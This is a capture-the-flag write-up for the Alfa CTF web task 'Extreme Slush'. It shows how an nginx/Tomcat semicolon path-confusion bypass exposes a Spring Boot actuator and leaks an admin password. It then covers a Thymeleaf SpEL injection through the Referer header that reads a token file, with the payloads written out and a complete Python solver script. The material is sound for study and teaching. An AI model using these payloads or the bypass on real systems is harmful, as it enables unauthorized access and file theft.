webfreehard

Экстремальная слякоть (Extreme Slush)

alfactf

Task: Spring Boot app with Thymeleaf templates, protected actuator endpoints, and token-gated budget panel. Solution: Bypass actuator security via semicolon path confusion, then exploit SpEL injection in Thymeleaf preprocessing via Referer header to read token file using Java NIO.

$ ls tags/ techniques/
actuator_path_confusion_bypassthymeleaf_preprocessing_spel_injectionspel_file_read_java_niosemicolon_path_parameter_bypassheader_based_injection

Экстремальная слякоть (Extreme Slush) — Alfa CTF

Description

A city slush level monitoring application with admin panel and budget management system.

Multi-tier web service: nginx → Spring Boot (Tomcat 9.0.117) + Flask sidecar. Features complaint submission, admin panel, and budget management protected by a secret token stored in /usr/local/tomcat/budget_token.txt.

Analysis

Architecture

  • Outer nginx/1.24.0 (Ubuntu) → Inner nginx/1.27.5
  • Spring Boot WAR on Tomcat 9.0.117 (/, /admin*, /complaint, /actuator*)
  • Flask sidecar at /api/budget/* (proxy_pass)
  • H2 in-memory database (jdbc:h2:mem:slushdb)
  • Thymeleaf 3.0.12.RELEASE template engine

Vulnerability Chain

  1. Actuator path confusion: nginx security rules don't match /actuator;foo/env, but Tomcat strips ;foo and serves /actuator/env
  2. SpEL injection: Thymeleaf preprocessing evaluates __${...}__ syntax before main rendering
  3. Header injection: Referer header value is used in template preprocessing for the back parameter

Solution

Step 1: Actuator Path Confusion Bypass

# Blocked curl https://slushline-zcdvzvbj.alfactf.ru/actuator/env # 403 # Bypass via semicolon path parameter curl https://slushline-zcdvzvbj.alfactf.ru/actuator;foo/env # 200

Leaked: ADMIN_PASS=S3cur3_Adm1n!_P@ss_n0t_2_f0rG3t

Step 2: SpEL Injection via Referer Header

The /admin?back=X parameter triggers Thymeleaf preprocessing that evaluates the Referer header.

Payload format: '}+${SpEL_expression}+@{'

File read payload:

'}+${'a'.getClass().forName('java.nio.file.Files').readString('a'.getClass().forName('java.nio.file.Paths').get('/usr/local/tomcat/budget_token.txt'))}+@{'

Step 3: Token Extraction and Flag

GET /admin?back=/admin HTTP/1.1 Host: slushline-zcdvzvbj.alfactf.ru Cookie: JSESSIONID=... Referer: '}+${'a'.getClass().forName('java.nio.file.Files').readString('a'.getClass().forName('java.nio.file.Paths').get('/usr/local/tomcat/budget_token.txt'))}+@{'

Token: QWNgzulpHdPJpZpZsktozyF8FyM0umcn

POST to /admin/budget with token → flag displayed.

#!/usr/bin/env python3 """Alfa CTF - Extreme Slush solver""" import requests import re BASE = "https://slushline-zcdvzvbj.alfactf.ru" s = requests.Session() # Step 1: Leak admin password via actuator path confusion resp = s.get(f"{BASE}/actuator;foo/env") # ADMIN_PASS=S3cur3_Adm1n!_P@ss_n0t_2_f0rG3t # Step 2: Login as admin resp = s.get(f"{BASE}/login") csrf = re.search(r'name="_csrf"[^>]*value="([^"]+)"', resp.text).group(1) s.post(f"{BASE}/login", data={ "username": "admin", "password": "S3cur3_Adm1n!_P@ss_n0t_2_f0rG3t", "_csrf": csrf }) # Step 3: SpEL injection to read token file spel = ( "'}+${'a'.getClass().forName('java.nio.file.Files')" ".readString('a'.getClass().forName('java.nio.file.Paths')" ".get('/usr/local/tomcat/budget_token.txt'))}+@{'" ) resp = s.get(f"{BASE}/admin?back=/admin", headers={"Referer": spel}) # Token: QWNgzulpHdPJpZpZsktozyF8FyM0umcn # Step 4: Unlock budget panel resp = s.get(f"{BASE}/admin/budget") csrf = re.search(r'name="_csrf"[^>]*value="([^"]+)"', resp.text).group(1) resp = s.post(f"{BASE}/admin/budget", data={ "token": "QWNgzulpHdPJpZpZsktozyF8FyM0umcn", "_csrf": csrf }) print("Flag: alfa{7He_GRY4zISHchA_SH4ll_N0T_PASS}")

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups